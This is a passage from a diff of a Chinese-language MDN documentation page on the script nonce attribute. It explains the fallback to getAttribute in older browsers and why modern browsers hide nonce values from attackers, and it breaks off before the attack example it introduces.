+
+<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p>
+
+<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
+
+<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p>
+
+<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p>
